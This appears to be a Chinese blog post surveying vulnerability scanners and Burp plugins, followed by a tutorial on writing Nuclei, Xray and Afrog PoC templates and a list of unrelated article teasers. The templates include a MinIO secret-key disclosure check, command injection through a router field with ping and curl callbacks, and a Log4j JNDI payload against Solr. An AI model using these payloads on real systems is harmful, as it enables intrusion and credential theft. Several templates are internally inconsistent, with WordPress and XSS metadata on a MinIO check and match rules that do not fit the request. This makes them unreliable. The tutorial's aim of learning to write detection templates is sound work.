漏洞扫扫工具合集

综合类扫描工具

AWVS

Acunetix一款商业的Web漏洞扫描程序,它可以检查Web应用程序中的漏洞,如SQL注入、跨站脚本攻击、身份验证页上的弱口令长度等。它拥有一个操作方便的图形用户界面,并且能够创建专业级的Web站点安全审核报告。新版本集成了漏洞管理功能来扩展企业全面管理、优先级和控制漏洞威胁的能力。

awvs基于爬虫技术可以帮我扫描目标可能存在的漏洞;工具是web页面简单易懂。

Xray

Xray是从长亭洞鉴核心引擎中提取出的社区版漏洞扫描神器,支持主动、被动多种扫描方式,自备盲打平台、可以灵活定义 POC,功能丰富,调用简单,支持Windows /macOS /Linux 多种操作系统,可以满足广大安全从业者的自动化 Web 漏洞探测需求。

xray和awvs一样也是基于爬虫技术帮我们扫描目标的漏洞;但这款工具是命令行的。

 --poc yaml文件(指定poc)        

 在xray下有一个配置文件config.yaml,该文件内可以设置代理;可以把数据包转发到BP,便于我们查看检测过程中的数据包。

 BP和Xray联动

使用BP设置代理抓取数据包,然后将数据包都转发给Xray,Xray对数据包进行漏洞检测。

BP设置数据包的转发:

 Xray监听:

 AWVS和Xray联动

awvs负责主动扫描,然后将数据包都发给Xray;经过awvs的数据包都会经过xray的扫描。让他们两个联合工作;效率会更高。

 AWVS、BP、Xray联动

awvs负责主动扫描,然后设置代理,代理就是BP的8000端口,把所有的数据包都发给BP;然后BP设置数据包的转发(同上BP和xray的联动),BP再把数据包发给xray。

 

 特征类(也可综合)扫描工具

Goby

工具:https://gobysec.net/

狐狸工具箱自带

Goby是一款新的网络安全测试工具,由赵武Zwell(Pangolin、JSky、FOFA作者)打造,它能够针对一个目标企业梳理最全的攻击面信息,同时能进行高效、实战化漏洞扫描,并快速的从一个验证入口点,切换到横向。能通过智能自动化方式,帮助安全入门者熟悉靶场攻防,帮助攻防服务者、渗透人员更快的拿下目标。

 Nuclei

Nuclei是一款基于YAML语法模板的开发的定制化快速漏洞扫描器。它使用Go语言开发,具有很强的 可配置性、可扩展性 和易用性。 提供TCP、DNS、HTTP、FILE 等各类协议的扫描,通过强大且灵活的模板,可以使用Nuclei模拟各种安全检查。
nuclei.exe -l urls.txt  //批量扫描
nuclei.exe -target http://xxx
nuclei.exe -target http://xxx -t CVE-xx-xx.yaml

Afrog

Afrog 是一款性能卓越、快速稳定、PoC 可定制的漏洞扫描(挖洞)工具,PoC 涉及 CVE、CNVD、默认口令、信息泄露、指纹识别、未授权访问、任意文件读取、命令执行等多种漏洞类型,帮助网络安全从业者快速验证并及时修复漏洞。

 afrog.exe -t url -o result.html

afrog.exe -T urls.txt  -o result.html

 afrog.exe -t url -P  poc文件  -o result.html

afrog.exe -proxy=http://127.0.0.1:8080

Yakit

狐狸工具箱有

Yakit是一款集成化单兵安全能力平台,通过函数提供各类底层安全能力,包括端口扫描、指纹识别、poc框架、shell管理、MITM劫持、强大的插件系统等。旨在打造一个覆盖渗透测试全流程的网络安全工具库。

 注意:

nuclei和afrog是完全利用爆出漏洞的POC打,并不会爬虫测试;而awvs和xray是先通过爬虫获取信息测试,最后用POC打。拿nuclei和afrog测vulweb这种靶场并不能测试出漏洞。

POC开发

工具:vscode+yaml

Nuclei

参考文章:

nuclei poc模板编写笔记(一)_nuclei poc编写-CSDN博客

nuclei poc模板编写笔记(二)_matchers: - type: dsl dsl: - "contains(body,'{{ran-CSDN博客

yaml是一种数据序列化语言,基本语法:

  • 大小写敏感
  • 使用缩进表示层级关系
  • 缩进不能使用tab,只能使用空格
  • 缩进的格数不重要,只要对其即可

对于POC的开发,我们直接从本地的poc中复制一个类似的,然乎更改即可。

id: CVE-2023-28432

info:
  name: MinIO集群模式信息泄露漏洞
  author: xiaodisec
  severity: high
  description: |
    MinIO集群模式信息泄露漏洞
  remediation: |
    Update to WordPress Accessibility Helper version 0.6.0.7 or later to mitigate this vulnerability.
  reference:
    - https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0150
    cwe-id: CWE-79
    epss-score: 0.00133
    epss-percentile: 0.47722
    cpe: cpe:2.3:a:wp_accessibility_helper_project:wp_accessibility_helper:*:*:*:*:*:wordpress:*:*
  tags: cve,mimio,cve2023

http:
  - raw:
      - |
        POST /minio/bootstrap/v1/verify HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept: */*
        Accept-Language: en-US;q=0.9,en;q=0.8
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
        Connection: close
        Cache-Control: max-age=0
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 0

        

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'MINIO_SECRET_KEY'
          - 'MINIO_ROOT_PASSWORD'
        
      - type: status
        status:
          - 200
        
     
#最后的匹配意思为返回包状态码为200且返回包内容中有MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD内容


 主要就是下面的数据包发送和匹配规则,匹配规则主要就是从数据包中选择对应内内容。

BP插件生成:

下载插件Nuclei Template Generate插件。然后在测试数据包地方右键-extension-利用该插件生成POC。(数据包包括发送request和返回response的,都需要右键生成)

 Xray

参考文章:

  • Xray PoC-腾讯云开发者社区-腾讯云
  • Xray Poc如何编写

在利用xray检测漏洞的时候,我们可以在配置文件中(config.yaml)设置代理,使用BP抓取数据包进一步分析。

  • name: poc-yaml-CVE-2023-28432
    transport: http
    
    rules:
      r0:
        request:
          method: POST
          path: /minio/bootstrap/v1/verify
          headers:
            Content-Type: application/x-www-form-urlencoded
        expression: |
          response.status == 200 &&
          response.body.bcontains(b"MINIO_ROOT_PASSWORD") &&
          response.body.bcontains(b"MINIO_SECRET_KEY")
    expression: r0()
    detail:
      author: xiaodisec   
      links:
        - https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md
    

    name: string                 

    poc名称如:poc-yaml-tongda-oa-rce

    rules: []Rule   # 脚本部分             

    poc规则:poc请求路径,请求内容,回显信息都由此匹配

    method: string 请求方法

    path: string 请求的完整Path,包括querystring等

    headers: map[string]string 请求HTTP头,Rule中指定的值会被覆盖到原始数据包的HTTP头中

    body: string 请求的Body

    follow_redirects: bool 是否允许跟随300跳转

    expression: string

    search: string

    method、path、headers、body、follow_redirects的作用是生成检测漏洞的数据包

    expression的作用是判断该条Rule的结果

    search的作用是从返回包中提取信息

    detail: map[string]string    

    就是平时xray扫描得到漏洞时xray返回的那一串爆红信息

 无回显的直接ping dnslog地址,然后去dns平台看是否有记录即可。

name: poc-yaml-demo
transport: http

rules:
  r0:
    request:
      method: POST
      path: /ztp/cgi-bin/handler
      body: '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"; ping piwus7.dnslog.cn;","data":"hi"}'
      headers:
        Content-Type: application/json
    expression: |
      response.status == 200 &&
      response.body.bcontains(b"MINIO_ROOT_PASSWORD") &&
      response.body.bcontains(b"MINIO_SECRET_KEY")
expression: r0()
detail:
  author: xiaodisec   
  links:
    - https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md

Afrog

分析可以设置参数-proxy=xx,使用BP查看数据包。

在需要jndi注入的POC中,我们需要在配置文件中配置jndi;且需在远程服务器上开启。

 

id: my-poc

info:
  name: My PoC demo
  author: xiaodisec
  severity: critical

rules:
  r0:
    request:
      method: POST
      path: /minio/bootstrap/v1/verify
      headers:
        Content-Type: application/x-www-form-urlencoded
    expression: |
      response.status == 200 &&
      response.body.bcontains(b"MINIO_ROOT_PASSWORD") &&
      response.body.bcontains(b"MINIO_SECRET_KEY")
expression: r0()

这个就配合上面配置的dnslog信息;ceye平台

id: my-poc

info:
  name: My PoC demo
  author: xiaodisec
  severity: critical
  
set:
    # 使用固定的名称
    reverse: newReverse()
    reverseURL: reverse.url
rules:
    r0:
        request:
            method: POST
            path: /ztp/cgi-bin/handler
            body: '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"; curl {{reverseURL}};","data":"hi"}'
            headers:
                Content-Type: application/json
        # 这里要调用 reverse.wait
        expression: reverse.wait(5)
expression: r0()

这个配合上面的jndi注入

id: solr-log4j-rce

info:
  name: Apache Solr Log4j Remote Code Execution
  author: xiaodisec
  severity: critical
  verified: true
  description: |
    Fofa: app="APACHE-Solr"
  created: 2023/06/09

set:
  reverse: newJNDI()
  jndiURL: reverse.url.host + reverse.url.path
rules:
  r0:
    request:
      method: GET
      path: /solr/admin/collections?action=${jndi:ldap://{{jndiURL}}}&wt=json
    expression: reverse.jndi(5)
expression: r0()

插件篇

BurpSuite

Fiora

GitHub - bit4woo/Fiora: Fiora:漏洞PoC框架Nuclei的图形版。快捷搜索PoC、一键运行Nuclei。即可作为独立程序运行,也可作为burp插件使用。

相当于是nuclei POC的图形化界面,可以对我们BP的数据包检测漏洞,不用我们输入命令。

我们要把nuclei.exe文件放到BP目录下。(burpsuite_pro目录下)

 TsojanScan

GitHub - Tsojan/TsojanScan: An integrated BurpSuite vulnerability detection plug-in.

常见漏洞探针插件。它对BP的数据包自动进行扫描,不需要我们手动操作扫描。支持主动扫描、被动扫描

使用:

被动扫描就是自动对BP的数据包扫描

主动扫描需要我们主动对数据包进行扫描。(手动操作)

这种就是主动扫描。

RouteVulScan

它也支持主动、被动扫描,但它偏向于信息泄露之类的漏洞。

https://github.com/F6JO/RouteVulScan

HaE (辅助)

工具:GitHub - gh0stkey/HaE: HaE - Highlighter and Extractor, Empower ethical hacker for efficient operations.

 就是根据不同规则帮我们高亮显示一些数据包。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/581251.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

LeetCode1017题:负二进制转换(原创)

【题目描述】 给你一个整数 n ,以二进制字符串的形式返回该整数的 负二进制(base -2)表示。注意,除非字符串就是 "0",否则返回的字符串中不能含有前导零。 示例 1: 输入:n 2 输出&…

高频面试题:解决Spring框架中的循环依赖问题

引言:什么是Spring框架与循环依赖? 在Spring框架中,循环依赖是指两个或多个bean相互依赖对方以完成自己的初始化。这种依赖关系形成了一个闭环,导致无法顺利完成依赖注入。比如,如果Bean A在其构造函数中需要Bean B&a…

图像处理:乘法滤波器(Multiplying Filter)和逆FFT位移

一、乘法滤波器(Multiplying Filter) 乘法滤波器是一种以像素值为权重的滤波器,它通过将滤波器的权重与图像的像素值相乘,来获得滤波后的像素值。具体地,假设乘法滤波器的权重为h(i,j),图像的像素值为f(m,…

基于51单片机的电子秤LCD1602液晶显示( proteus仿真+程序+设计报告+讲解视频)

基于51单片机电子秤LCD显示 1. 主要功能:2. 讲解视频:3. 仿真设计4. 程序代码5. 设计报告6. 设计资料内容清单&&下载链接 基于51单片机电子秤LCD显示( proteus仿真程序设计报告讲解视频) 仿真图proteus8.9及以上 程序编译器&#xf…

NiceGUI:一个超赞的Python UI库

1. 引言 NiceGUI是一个基于Python的简单用户界面框架,可与浏览器或桌面应用程序流畅运行。无论你是制作小型网络应用程序、还是玩机器人项目,NiceGUI 都能以其简单的界面和众多的功能满足你的需求。这篇文章的目的是通过向大家展示如何构建和部署NiceGU…

如何选择适合自己需求的DC电源模块?

BOSHIDA 如何选择适合自己需求的DC电源模块? 在选择适合自己需求的DC电源模块时,需要考虑一些关键因素,以确保选择的模块能够满足电源要求并具有良好的性能。下面是一些值得考虑的因素: 1. 电压输出范围:首先&#xf…

短视频素材从哪里获取?推荐8个短视频素材高清网站

在这个视觉内容至关重要的数字化时代,高质量的视频素材是任何成功视频项目的核心。无论是加强品牌宣传、提升社交媒体互动还是制作引人注目的广告,这些精选的全球视频素材网站都将为你的创意注入活力,帮助你在激烈的市场竞争中脱颖而出。 1.…

2024LarkXR新增功能系列之六 | ⽀持8K分辨率

Paraverse平行云企业级实时云渲染解决方案LarkXR是平行云自主研发的CloudXR解决方案,在业界实现了创新突破。通过分钟级部署大规模云端资源、高度适配XR所有主流引擎、以及灵活支持不同交互和沉浸方式的内容形式,LarkXR解决了Cloud XR商业化过程中所面临…

Linux之进程间通信(二)

system V system V共享内存是内核中专门设计的通信的方式, 粗粒度划分操作系统分为进程管理, 内存管理, 文件系统, 驱动管理.., 粒度更细地分还有 进程间通信模块. 对于操作系统, 通信的场景有很多, 有以传送数据, 快速传送数据, 传送特定数据块, 进程间协同与控制以目的, 它…

SystemUI GlobalActions plugin解析

com.android.systemui.action.PLUGIN_GLOBAL_ACTIONS 系统的默认实现为GlobalActionsImpl: 是谁发送了showShutdownUi指令? GlobalActionsImpl 是通过inject的方式创建的 GlobalActionsComponent是一个system UI services,配置在config.xml中&#xff…

Docker容器:网络模式与资源控制

目录 一、Docker 网络模式 1、Docker 网络实现原理 2、Docker 网络模式概述 2.1 Host 模式 2.2 Container 模式 2.3 None 模式 2.4 Bridge 模式 2.5 自定义网络(user-defined network) 3、配置 docker 网络模式 3.1 查看网络基础命令 3.1.1 查…

“怡宝”冲刺港股,饮用水基本盘稳如磐石

最近,饮用水市场异常热闹。 先是“怡宝”所属的华润饮料正式向港交所提交上市申请。随即,多名农夫山泉员工在朋友圈发文“推出绿瓶纯净水”,撞脸怡宝经典包装。“怡宝”遭遇奇袭的背后,是双方持续“交锋”的多年,随着…

Vue从入门到精通-01-Vue的介绍和vue-cli

MVVM模式 Model:负责数据存储 View:负责页面展示 View Model:负责业务逻辑处理(比如Ajax请求等),对数据进行加工后交给视图展示 关于框架 为什么要学习流行框架 1、企业为了提高开发效率:…

【Harmony3.1/4.0】笔记三-计算器

概念 网格布局是由“行”和“列”分割的单元格所组成,通过指定“项目”所在的单元格做出各种各样的布局。网格布局具有较强的页面均分能力,子组件占比控制能力,是一种重要自适应布局,其使用场景有九宫格图片展示、日历、计算器等…

python-pytorch 如何使用python库Netron查看模型结构(以pytorch官网模型为例)0.9.2

Netron查看模型结构 参照模型安装Netron写netron代码运行查看结果需要关注的地方 2024年4月27日14:32:30----0.9.2 参照模型 以pytorch官网的tutorial为观察对象,链接是https://pytorch.org/tutorials/intermediate/char_rnn_classification_tutorial.html 模型代…

基于Springboot的新生宿舍管理系统

基于SpringbootVue的新生宿舍管理系统的设计与实现 开发语言:Java数据库:MySQL技术:SpringbootMybatis工具:IDEA、Maven、Navicat 系统展示 用户登录 首页 公告信息管理 院系管理 班级管理 学生管理 宿舍信息管理 宿舍安排管理…

清华军团推出中国首个对标Sora的视频大模型Vidu,扒一扒它背后的模型架构

就在前天,Vidu 在 2024 中关村论坛年会之中横空出世。 伴随着“中国首个”,“Sora 级视频模型”,“模拟真实的物理世界”等关键词下的刷屏式的报道,Vidu 一下成为国产视频模型的一剂强心针。 尽管目前 Vidu 支持的视频长度是 16 …

二叉树理论和题目

二叉树的种类 在我们解题过程中二叉树有两种主要的形:满二叉树和完全二叉树。 满二叉树 满二叉树:如果一棵二叉树只有度为0的结点和度为 2 的结点,并且度为 0 的结点在同一层上,则这棵二叉树为满二叉树。 这棵二叉树为满二叉树…

vscode的终端区乱码怎么办呢?

vscode的终端区乱码怎么办呢? 错误效果解决办法一解决办法二(极力推荐方法二)最终效果参考文献 错误效果 解决办法一 解释:你之所以使用了utf8还乱码,是因为你的电脑目前根本无法兼容utf8,只兼容gbk 怎么让你的电脑兼容utf8,我写在方法二 在设置中,输入encoding 解决办法二(极…

水稻病害检测(YOLO数据集,多分类,稻瘟病、纹枯病、褐斑病、枯心病、霜霉病、水稻细菌性条纹斑病、稻苞虫)

是自己利用LabelImg工具进行手工标注,数据集制作不易,请尊重版权(稻瘟病、纹枯病、褐斑病、枯心病、霜霉病、水稻细菌性条纹斑病、稻苞虫) 如果需要yolv8检测模型和数据集放在一起的压缩包,可以关注:最新最…